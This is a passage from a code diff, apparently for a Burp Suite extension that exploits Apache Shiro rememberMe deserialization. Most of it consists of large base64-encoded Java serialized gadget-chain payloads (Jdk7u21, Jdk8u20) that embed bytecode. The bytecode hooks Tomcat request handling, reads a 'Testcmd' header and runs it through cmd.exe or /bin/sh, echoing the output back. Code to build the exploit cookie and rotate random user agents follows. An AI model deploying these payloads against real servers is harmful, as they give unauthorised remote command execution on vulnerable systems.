gcADAj/AAIABAcABAcAXAcAVgcADAABBwBICQUNAD0AAAAEAAEAPwABACMAXQACADwAAAM2AAgADQAAAj8qtwDoAzYEuABltgBpEmu4AG3AAG86BQM2BhUGGQW+ogIfGQUVBjI6BxkHAaYABqcCCRkHtgBzTi0SdbYAeZoADC0Se7YAeZoABqcB7hkHEn24AG1MK8EAf5oABqcB3CsSgbgAbRKDuABtEoW4AG1MpwALOginAcOnAAArEoe4AG3AAIk6CQM2ChUKGQm5AI0BAKIBnhkJFQq5AJACADoLGQsSkrgAbUwrtgAwEpQDvQAMtgA1KwO9AAS2ACxNK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKYU7YALMAAXE4tAaUACi22AJyZAAanAFgstgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVyy2ADASoAW9AAxZAxJcU1kEElxTtgA1LAW9AARZAxKYU1kELVO2ACxXBDYEK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKiU7YALMAAXE4tAaUACi22AJyZAAanAI0stgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVxKkuACqtgCtEq+2AHmZABgGvQBcWQMSsVNZBBKzU1kFLVOnABUGvQBcWQMStVNZBBK3U1kFLVM6DCy7ALlZuwC7WRkMtwC+tgDCtgDItwDLEs22ANG2ANS2ANi4ANoENgQtAaUACi22AJyZAAgVBJoABqcAECy4AN62AOO2ANi4ANoVBJkABqcACYQKAaf+XBUEmQAGpwAJhAYBp/3fsQABAF8AcABzAD8AAQBAAAAA3QAZ/wAaAAcHAAIAAAABBwBvAQAA/AAXBwBh/wAXAAgHAAIAAAcAXAEHAG8BBwBhAAAC/wARAAgHAAIHAAQABwBcAQcAbwEHAGEAAFMHAD8E/wACAAgHAAIHAAQABwBcAQcAbwEHAGEAAP4ADQAHAIkB/wBjAAwHAAIHAAQHAAQHAFwBBwBvAQcAYQAHAIkBBwAEAAAC+wBULgL7AE1RBwDlKQsEAgwH/wAFAAsHAAIHAAQABwBcAQcAbwEHAGEABwCJAQAA/wAHAAgHAAIAAAABBwBvAQcAYQAA+gAFAD0AAAAEAAEAPwABAAUAAAACAAZ1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA=="; + String Jdk7u21 = "rO0ABXNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAACc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMACEkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAC19hdXhDbGFzc2VzdAA7TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0hhc2h0YWJsZTtbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAH/////AXB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAPA8r+ur4AAAAyAOkBAAxGb292NGhBMnZ1U1MHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEUZvb3Y0aEEydnVTUy5qYXZhAQAJd3JpdGVCb2R5AQAXKExqYXZhL2xhbmcvT2JqZWN0O1tCKVYBACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1bmsIAAkBAA9qYXZhL2xhbmcvQ2xhc3MHAAsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwADQAOCgAMAA8BAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAARABIKAAwAEwEACHNldEJ5dGVzCAAVAQACW0IHABcBABFqYXZhL2xhbmcvSW50ZWdlcgcAGQEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAGwAcCQAaAB0BABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB8AIAoADAAhAQAGPGluaXQ+AQAEKEkpVgwAIwAkCgAaACUBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACcBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACkAKgoAKAArAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAtAC4KAAQALwEAB2RvV3JpdGUIADEBAAlnZXRNZXRob2QMADMAIAoADAA0AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcANgEAE2phdmEubmlvLkJ5dGVCdWZmZXIIADgBAAR3cmFwCAA6AQAEQ29kZQEACkV4Y2VwdGlvbnMBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwA+AQANU3RhY2tNYXBUYWJsZQEABWdldEZWAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABDAEQKAAwARQEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcARwEADWdldFN1cGVyY2xhc3MMAEkALgoADABKAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAjAEwKAEgATQEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QHAE8BAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAUQBSCgBQAFMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcAVQEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABXAFgKAFYAWQEAEGphdmEvbGFuZy9TdHJpbmcHAFsBAAMoKVYMACMAXQoABABeAQAQamF2YS9sYW5nL1RocmVhZAcAYAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAYgBjCgBhAGQBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsMAGYAZwoAYQBoAQAHdGhyZWFkcwgAagwAQQBCCgACAGwBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBuAQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DABwAHEKAGEAcgEABGV4ZWMIAHQBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAdgB3CgBcAHgBAARodHRwCAB6AQAGdGFyZ2V0CAB8AQASamF2YS9sYW5nL1J1bm5hYmxlBwB+AQAGdGhpcyQwCACAAQAHaGFuZGxlcggAggEABmdsb2JhbAgAhAEACnByb2Nlc3NvcnMIAIYBAA5qYXZhL3V0aWwvTGlzdAcAiAEABHNpemUBAAMoKUkMAIoAiwsAiQCMAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABXAI4LAIkAjwEAA3JlcQgAkQEAC2dldFJlc3BvbnNlCACTAQAJZ2V0SGVhZGVyCACVAQAIVGVzdGVjaG8IAJcBAAdpc0VtcHR5AQADKClaDACZAJoKAFwAmwEACXNldFN0YXR1cwgAnQEACWFkZEhlYWRlcggAnwEAB1Rlc3RjbWQIAKEBAAdvcy5uYW1lCACjAQAQamF2YS9sYW5nL1N5c3RlbQcApQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAKcAqAoApgCpAQALdG9Mb3dlckNhc2UMAKsAcQoAXACsAQAGd2luZG93CACuAQAHY21kLmV4ZQgAsAEAAi9jCACyAQAHL2Jpbi9zaAgAtAEAAi1jCAC2AQARamF2YS91dGlsL1NjYW5uZXIHALgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHALoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAjALwKALsAvQEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAC/AMAKALsAwQEAEWphdmEvbGFuZy9Qcm9jZXNzBwDDAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwAxQDGCgDEAMcBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMACMAyQoAuQDKAQACXEEIAMwBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMAM4AzwoAuQDQAQAEbmV4dAwA0gBxCgC5ANMBAAhnZXRCeXRlcwEABCgpW0IMANUA1goAXADXDAAHAAgKAAIA2QEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMANsA3AoApgDdAQATamF2YS91dGlsL0hhc2h0YWJsZQcA3wEACHRvU3RyaW5nDADhAHEKAOAA4gEAE1tMamF2YS9sYW5nL1N0cmluZzsHAOQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwDmCgDnAF4AIQACAOcAAAAAAAMACgAHAAgAAgA8AAAA3AAIAAUAAACxEgq4ABBOLbYAFE0tEhYGvQAMWQMSGFNZBLIAHlNZBbIAHlO2ACIsBr0ABFkDK1NZBLsAGlkDtwAmU1kFuwAaWSu+twAmU7YALFcqtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAEg6BBI5uAAQTi0SOwS9AAxZAxIYU7YAIi0EvQAEWQMrU7YALE0qtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAAOxAAEAAABoAGsANwABAEAAAAARAAL3AGsHADf9AEQHAAQHAAwAPQAAAAQAAQA/AAoAQQBCAAIAPAAAAH4AAwAFAAAAPwFNKrYAME6nABktK7YARk2nABanAAA6BC22AEtOpwADLRIEpv/nLAGmAAy7AEhZK7cATr8sBLYAVCwqtgBasAABAAoAEwAWAEgAAQBAAAAAJQAG/QAKBwBWBwAMCP8AAgAEBwAEBwBcBwBWBwAMAAEHAEgJBQ0APQAAAAQAAQA/AAEAIwBdAAIAPAAAAzYACAANAAACPyq3AOgDNgS4AGW2AGkSa7gAbcAAbzoFAzYGFQYZBb6iAh8ZBRUGMjoHGQcBpgAGpwIJGQe2AHNOLRJ1tgB5mgAMLRJ7tgB5mgAGpwHuGQcSfbgAbUwrwQB/mgAGpwHcKxKBuABtEoO4AG0ShbgAbUynAAs6CKcBw6cAACsSh7gAbcAAiToJAzYKFQoZCbkAjQEAogGeGQkVCrkAkAIAOgsZCxKSuABtTCu2ADASlAO9AAy2ADUrA70ABLYALE0rtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEphTtgAswABcTi0BpQAKLbYAnJkABqcAWCy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXLLYAMBKgBb0ADFkDElxTWQQSXFO2ADUsBb0ABFkDEphTWQQtU7YALFcENgQrtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEqJTtgAswABcTi0BpQAKLbYAnJkABqcAjSy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXEqS4AKq2AK0Sr7YAeZkAGAa9AFxZAxKxU1kEErNTWQUtU6cAFQa9AFxZAxK1U1kEErdTWQUtUzoMLLsAuVm7ALtZGQy3AL62AMK2AMi3AMsSzbYA0bYA1LYA2LgA2gQ2BC0BpQAKLbYAnJkACBUEmgAGpwAQLLgA3rYA47YA2LgA2hUEmQAGpwAJhAoBp/5cFQSZAAanAAmEBgGn/d+xAAEAXwBwAHMAPwABAEAAAADdABn/ABoABwcAAgAAAAEHAG8BAAD8ABcHAGH/ABcACAcAAgAABwBcAQcAbwEHAGEAAAL/ABEACAcAAgcABAAHAFwBBwBvAQcAYQAAUwcAPwT/AAIACAcAAgcABAAHAFwBBwBvAQcAYQAA/gANAAcAiQH/AGMADAcAAgcABAcABAcAXAEHAG8BBwBhAAcAiQEHAAQAAAL7AFQuAvsATVEHAOUpCwQCDAf/AAUACwcAAgcABAAHAFwBBwBvAQcAYQAHAIkBAAD/AAcACAcAAgAAAAEHAG8BBwBhAAD6AAUAPQAAAAQAAQA/AAEABQAAAAIABnB0AANhYmNzcgAUamF2YS51dGlsLlByb3BlcnRpZXM5EtB6cDY+mAIAAUwACGRlZmF1bHRzcQB+AAh4cgATamF2YS51dGlsLkhhc2h0YWJsZRO7DyUhSuS4AwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAh3CAAAAAsAAAAAeHB3AQB4c30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQACGY1YTVhNjA4cQB+AAl4dnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHg="; + String Jdk8u20 = "rO0ABXNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAABzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAFSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WgAVX3VzZVNlcnZpY2VzTWVjaGFuaXNtWwAKX2J5dGVjb2Rlc3QAA1tbQkwABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7eHAAAAAB/////wF1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAPA8r+ur4AAAAyAOkBAAxGb29veTZhOTVuNkYHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEUZvb295NmE5NW42Ri5qYXZhAQAJd3JpdGVCb2R5AQAXKExqYXZhL2xhbmcvT2JqZWN0O1tCKVYBACRvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmJ1Zi5CeXRlQ2h1bmsIAAkBAA9qYXZhL2xhbmcvQ2xhc3MHAAsBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwADQAOCgAMAA8BAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAARABIKAAwAEwEACHNldEJ5dGVzCAAVAQACW0IHABcBABFqYXZhL2xhbmcvSW50ZWdlcgcAGQEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAGwAcCQAaAB0BABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB8AIAoADAAhAQAGPGluaXQ+AQAEKEkpVgwAIwAkCgAaACUBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHACcBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMACkAKgoAKAArAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAAtAC4KAAQALwEAB2RvV3JpdGUIADEBAAlnZXRNZXRob2QMADMAIAoADAA0AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcANgEAE2phdmEubmlvLkJ5dGVCdWZmZXIIADgBAAR3cmFwCAA6AQAEQ29kZQEACkV4Y2VwdGlvbnMBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwA+AQANU3RhY2tNYXBUYWJsZQEABWdldEZWAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DABDAEQKAAwARQEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcARwEADWdldFN1cGVyY2xhc3MMAEkALgoADABKAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAjAEwKAEgATQEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QHAE8BAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAUQBSCgBQAFMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcAVQEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABXAFgKAFYAWQEAEGphdmEvbGFuZy9TdHJpbmcHAFsBAAMoKVYMACMAXQoABABeAQAQamF2YS9sYW5nL1RocmVhZAcAYAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAYgBjCgBhAGQBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsMAGYAZwoAYQBoAQAHdGhyZWFkcwgAagwAQQBCCgACAGwBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBuAQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7DABwAHEKAGEAcgEABGV4ZWMIAHQBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAdgB3CgBcAHgBAARodHRwCAB6AQAGdGFyZ2V0CAB8AQASamF2YS9sYW5nL1J1bm5hYmxlBwB+AQAGdGhpcyQwCACAAQAHaGFuZGxlcggAggEABmdsb2JhbAgAhAEACnByb2Nlc3NvcnMIAIYBAA5qYXZhL3V0aWwvTGlzdAcAiAEABHNpemUBAAMoKUkMAIoAiwsAiQCMAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABXAI4LAIkAjwEAA3JlcQgAkQEAC2dldFJlc3BvbnNlCACTAQAJZ2V0SGVhZGVyCACVAQAIVGVzdGVjaG8IAJcBAAdpc0VtcHR5AQADKClaDACZAJoKAFwAmwEACXNldFN0YXR1cwgAnQEACWFkZEhlYWRlcggAnwEAB1Rlc3RjbWQIAKEBAAdvcy5uYW1lCACjAQAQamF2YS9sYW5nL1N5c3RlbQcApQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAKcAqAoApgCpAQALdG9Mb3dlckNhc2UMAKsAcQoAXACsAQAGd2luZG93CACuAQAHY21kLmV4ZQgAsAEAAi9jCACyAQAHL2Jpbi9zaAgAtAEAAi1jCAC2AQARamF2YS91dGlsL1NjYW5uZXIHALgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIHALoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWDAAjALwKALsAvQEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAC/AMAKALsAwQEAEWphdmEvbGFuZy9Qcm9jZXNzBwDDAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwAxQDGCgDEAMcBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMACMAyQoAuQDKAQACXEEIAMwBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMAM4AzwoAuQDQAQAEbmV4dAwA0gBxCgC5ANMBAAhnZXRCeXRlcwEABCgpW0IMANUA1goAXADXDAAHAAgKAAIA2QEADWdldFByb3BlcnRpZXMBABgoKUxqYXZhL3V0aWwvUHJvcGVydGllczsMANsA3AoApgDdAQATamF2YS91dGlsL0hhc2h0YWJsZQcA3wEACHRvU3RyaW5nDADhAHEKAOAA4gEAE1tMamF2YS9sYW5nL1N0cmluZzsHAOQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwDmCgDnAF4AIQACAOcAAAAAAAMACgAHAAgAAgA8AAAA3AAIAAUAAACxEgq4ABBOLbYAFE0tEhYGvQAMWQMSGFNZBLIAHlNZBbIAHlO2ACIsBr0ABFkDK1NZBLsAGlkDtwAmU1kFuwAaWSu+twAmU7YALFcqtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAEg6BBI5uAAQTi0SOwS9AAxZAxIYU7YAIi0EvQAEWQMrU7YALE0qtgAwEjIEvQAMWQMtU7YANSoEvQAEWQMsU7YALFenAAOxAAEAAABoAGsANwABAEAAAAARAAL3AGsHADf9AEQHAAQHAAwAPQAAAAQAAQA/AAoAQQBCAAIAPAAAAH4AAwAFAAAAPwFNKrYAME6nABktK7YARk2nABanAAA6BC22AEtOpwADLRIEpv/nLAGmAAy7AEhZK7cATr8sBLYAVCwqtgBasAABAAoAEwAWAEgAAQBAAAAAJQAG/QAKBwBWBwAMCP8AAgAEBwAEBwBcBwBWBwAMAAEHAEgJBQ0APQAAAAQAAQA/AAEAIwBdAAIAPAAAAzYACAANAAACPyq3AOgDNgS4AGW2AGkSa7gAbcAAbzoFAzYGFQYZBb6iAh8ZBRUGMjoHGQcBpgAGpwIJGQe2AHNOLRJ1tgB5mgAMLRJ7tgB5mgAGpwHuGQcSfbgAbUwrwQB/mgAGpwHcKxKBuABtEoO4AG0ShbgAbUynAAs6CKcBw6cAACsSh7gAbcAAiToJAzYKFQoZCbkAjQEAogGeGQkVCrkAkAIAOgsZCxKSuABtTCu2ADASlAO9AAy2ADUrA70ABLYALE0rtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEphTtgAswABcTi0BpQAKLbYAnJkABqcAWCy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXLLYAMBKgBb0ADFkDElxTWQQSXFO2ADUsBb0ABFkDEphTWQQtU7YALFcENgQrtgAwEpYEvQAMWQMSXFO2ADUrBL0ABFkDEqJTtgAswABcTi0BpQAKLbYAnJkABqcAjSy2ADASngS9AAxZA7IAHlO2ADUsBL0ABFkDuwAaWREAyLcAJlO2ACxXEqS4AKq2AK0Sr7YAeZkAGAa9AFxZAxKxU1kEErNTWQUtU6cAFQa9AFxZAxK1U1kEErdTWQUtUzoMLLsAuVm7ALtZGQy3AL62AMK2AMi3AMsSzbYA0bYA1LYA2LgA2gQ2BC0BpQAKLbYAnJkACBUEmgAGpwAQLLgA3rYA47YA2LgA2hUEmQAGpwAJhAoBp/5cFQSZAAanAAmEBgGn/d+xAAEAXwBwAHMAPwABAEAAAADdABn/ABoABwcAAgAAAAEHAG8BAAD8ABcHAGH/ABcACAcAAgAABwBcAQcAbwEHAGEAAAL/ABEACAcAAgcABAAHAFwBBwBvAQcAYQAAUwcAPwT/AAIACAcAAgcABAAHAFwBBwBvAQcAYQAA/gANAAcAiQH/AGMADAcAAgcABAcABAcAXAEHAG8BBwBhAAcAiQEHAAQAAAL7AFQuAvsATVEHAOUpCwQCDAf/AAUACwcAAgcABAAHAFwBBwBvAQcAYQAHAIkBAAD/AAcACAcAAgAAAAEHAG8BBwBhAAD6AAUAPQAAAAQAAQA/AAEABQAAAAIABnQAA2FiY3cBAHhzcgApamF2YS5iZWFucy5iZWFuY29udGV4dC5CZWFuQ29udGV4dFN1cHBvcnS8SCDwkY+5DAMAAUkADHNlcmlhbGl6YWJsZXhyAC5qYXZhLmJlYW5zLmJlYW5jb250ZXh0LkJlYW5Db250ZXh0Q2hpbGRTdXBwb3J0V9TvxwTcciUDAAFMABRiZWFuQ29udGV4dENoaWxkUGVlcnQAKUxqYXZhL2JlYW5zL2JlYW5jb250ZXh0L0JlYW5Db250ZXh0Q2hpbGQ7eHBxAH4ADngAAAABc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUDAAJMAAxtZW1iZXJWYWx1ZXN0AA9MamF2YS91dGlsL01hcDtMAAR0eXBldAARTGphdmEvbGFuZy9DbGFzczt4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAIZjVhNWE2MDhxAH4ABXh2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAMAAHhwdwQAAAAAeHhwdwwAAAAQP0AAAAAAAAJxAH4ABXN9AAAAAQAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXN4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBxAH4AEng="; + + //获取body + IHttpRequestResponse iReqResp = invocation.getSelectedMessages()[0]; + byte[] request = iReqResp.getRequest(); + IRequestInfo requestInfo = BurpExtender.helpers.analyzeRequest(request); + int bodyOffset = requestInfo.getBodyOffset(); + int body_length = request.length - bodyOffset; + String body = new String(request, bodyOffset, body_length, "UTF-8"); + //获取header + List headers = BurpExtender.helpers.analyzeRequest(request).getHeaders(); + + System.out.println("mode:" + Config.getMode()); + String rememberMe = "rememberMe="; + Encrypt en = new Encrypt(); + //随机ua头 + String[] ua = { + "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36", + "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36", + "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36", + "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", + "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36", + "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36", + "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0.6", + "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36", + "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36", + "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 